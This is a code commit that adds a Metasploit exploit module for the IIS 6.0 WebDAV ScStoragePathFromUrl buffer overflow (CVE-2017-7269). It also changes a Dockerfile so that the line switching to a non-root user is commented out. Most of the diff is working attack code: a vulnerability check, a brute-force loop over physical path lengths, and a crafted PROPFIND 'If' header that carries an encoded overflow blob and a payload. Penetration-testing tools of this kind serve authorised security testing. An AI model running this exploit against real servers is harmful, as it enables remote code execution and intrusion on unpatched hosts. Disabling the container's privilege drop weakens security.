Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) (follwoup)

docker/Dockerfile

@@ -47,7 +47,7 @@ RUN adduser -g msfconsole -D $MSF_USER
 
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
 
-USER $MSF_USER
+# USER $MSF_USER
 
 ADD ./ $APP_HOME
 

modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb

@@ -0,0 +1,175 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
+      'Description'    => %q{
+          Buffer overflow in the ScStoragePathFromUrl function
+          in the WebDAV service in Internet Information Services (IIS) 6.0
+          in Microsoft Windows Server 2003 R2 allows remote attackers to
+          execute arbitrary code via a long header beginning with
+          "If: <http://" in a PROPFIND request, as exploited in the
+          wild in July or August 2016.
+
+          Original exploit by Zhiniang Peng and Chen Wu.
+      },
+      'Author'         =>
+        [
+        'Zhiniang Peng', # Original author
+        'Chen Wu',       # Original author
+        'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
+        'firefart', # metasploit module
+        'zcgonvh <zcgonvh@qq.com>' # metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2017-7269' ],
+          [ 'BID', '97127' ],
+          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
+          [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'Space'         => 2000,
+          'BadChars'      => "\x00",
+          'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
+          'DisableNops'   =>  'True',
+          'EncoderOptions' =>
+            {
+              'BufferRegister' => 'ESI',
+            }
+        },
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'process',
+          'PrependMigrate' => true,
+        },
+      'Targets'        =>
+        [
+          [
+            'Microsoft Windows Server 2003 R2 SP2',
+            {
+              'Platform' => 'win',
+            },
+          ],
+        ],
+      'Platform'       => 'win',
+      'DisclosureDate' => 'Mar 26 2017',
+      'DefaultTarget' => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
+        OptInt.new('MinPathLength', [ true, 'Start of physical path brute force', 3 ]),
+        OptInt.new('MaxPathLength', [ true, 'End of physical path brute force', 60 ]),
+      ])
+  end
+
+  def min_path_len
+    datastore['MinPathLength']
+  end
+
+  def max_path_len
+    datastore['MaxPathLength']
+  end
+
+  def supports_webdav?(headers)
+    if headers['MS-Author-Via'] == 'DAV' ||
+       headers['DASL'] == '<DAV:sql>' ||
+       headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
+       headers['Public'] =~ /PROPFIND/ ||
+       headers['Allow'] =~ /PROPFIND/
+      return true
+    else
+      return false
+    end
+  end
+
+  def check
+    res = send_request_cgi({
+      'uri' => target_uri.path,
+      'method' => 'OPTIONS'
+    })
+    if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
+      return Exploit::CheckCode::Vulnerable
+    elsif res && supports_webdav?(res.headers)
+      return Exploit::CheckCode::Detected
+    elsif res.nil?
+      return Exploit::CheckCode::Unknown
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    # extract the local servername and port from a PROPFIND request
+    vprint_status("Extracting ServerName and Port")
+    res = send_request_raw(
+      'method' => 'PROPFIND',
+      'headers' => {
+        'Content-Length' => 0
+      },
+      'uri' => target_uri.path
+    )
+    fail_with(Failure::BadConfig, "Server does not respond to WebDAV request") unless res || res.code != 207
+
+    xml = res.get_xml_document
+    url = URI.parse(xml.at("//a:response//a:href").text)
+    server_name = url.hostname
+    server_port = url.port
+    server_scheme = url.scheme
+
+    http_host = "#{server_scheme}://#{server_name}:#{server_port}"
+    vprint_status("Using http_host #{http_host}")
+
+    min_path_len.upto(max_path_len) do |path_len|
+      vprint_status("Trying path length of #{path_len}...")
+
+      begin
+        buf1 = "<#{http_host}/"
+        buf1 << rand_text_alpha(114 - path_len)
+        buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
+        buf1 << ">"
+        buf1 << " (Not <locktoken:write1>) <#{http_host}/"
+        buf1 << rand_text_alpha(114 - path_len)
+        buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
+        buf1 << payload.encoded
+        buf1 << ">"
+
+        vprint_status("Sending payload")
+        res = send_request_raw(
+          'method' => 'PROPFIND',
+          'headers' => {
+            'Content-Length' => 0,
+            'If' => "#{buf1}"
+          },
+          'uri' => target_uri.path
+        )
+        if res
+          vprint_status("Server returned #{res.code}")
+          if res.code == 502 || res.code == 400
+            next
+          elsif session_created?
+            return
+          else
+            vprint_status("Unknown Response: #{res.code}")
+          end
+        end
+      rescue ::Errno::ECONNRESET
+        vprint_status("got a connection reset")
+        next
+      end
+    end
+  end
+end
+